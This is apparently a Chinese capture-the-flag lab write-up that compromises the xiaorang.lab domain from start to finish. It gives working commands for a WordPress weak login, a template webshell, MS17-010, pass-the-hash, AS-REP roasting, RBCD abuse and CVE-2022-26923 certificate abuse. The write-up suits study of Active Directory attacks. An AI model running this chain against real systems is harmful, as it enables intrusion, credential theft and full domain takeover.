信息收集
1 | ./fscan_mac_arm64 -h 39.99.226.162 |

发现是一个wordprss,先看看后台能进去不,弱口令 admin /123456 直接进入
wordprss 后台getshell

改一下404.php的模版文件,添加一个一句话

蚁剑连接可以直接拿到flag

内网渗透
看下内网扫描记录
1 | 172.22.15.13:445 open |
整理内网信息
1 | 172.22.15.13 XR-DC01 |
永恒之蓝
先打这个ms17_010
1 | proxychains4 msfconsole |
ri 要打两遍等的时间有点长。
我直接读取flag竟然读不到,那就抓一下hash打个pth
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc::: |
1 | proxychains4 psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk |

创建个用户rdp上去看看有啥信息
1 | net user ocean admin@123 /add |

连上来看phpstudy里有俩数据库密码

把用户名导出来看看有没有没设置kerberos预验证的
AS-REP Roasting
1 | proxychains4 impacket-GetNPUsers -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile user.txt |

然后爆破一下密码
1 | john --wordlist=/usr/share/wordlists/rockyou.txt hash |
1 | 1qaz2wsx |
拿到密码,那就登录上去收集下域内信息。
域渗透


可以看到 lixiuying用户对xr-0687这台主机有GenericWrite 权限,那么就可以去打一下rbcd
RBCD
先来添加一个机器用户
1 | proxychains4 impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name ocean\$ -computer-pass Passw0rd -dc-ip 172.22.15.13 |

然后设置下委派
1 | proxychains4 python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'ocean$' |

获取票据
1 | proxychains4 python3 getST.py xiaorang.lab/'ocean$':'Passw0rd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |

然后我们打pth就行了
1 | export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache |
但是会发现不成功

后来发现是自己没有添加 hosts映射加上就可以了
还剩下一个域控没打,这里应该是要打adcs,打法和MagicRelay那个靶机类似
CVE-2022–26923
在打之前还是先配一下hosts,然后去添加一个机器用户
1 | proxychains4 certipy-ad account create -user 'ocean1$' -pass 'P@ssw0rd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh' |

申请一个证书模版(要打两次才能成功)
1 | proxychains4 certipy-ad req -u 'ocean1$@xiaorang.lab' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine' |

继续按流程走下去
1 | proxychains4 certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 |

报错的原因是域控制器没有安装用于智能卡身份验证的证书
,解决办法的话就是尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限
参考:
https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/
https://github.com/AlmondOffSec/PassTheCert/blob/main/Python/passthecert.py
首先将pfx导出为.key 和.crt 两个文件(空密码)
1 | openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem |
然后利用passthecert脚本打
1 | proxychains4 python3 passthecert.py -action whoami -crt ~/test.crt -key ~/test.key -domain xiaorang.lab -dc-ip 172.22.15.13 |

将证书配置到域控的RBCD
1 | proxychains4 python3 passthecert.py -action write_rbcd -crt ~/test.crt -key ~/test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'ocean1$' |

最后申请票据,然后导入票据直接连接
1 | proxychains4 python3 getST.py xiaorang.lab/'ocean1$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
1 | export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache |
1 | proxychains4 python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 |

成功拿到flag
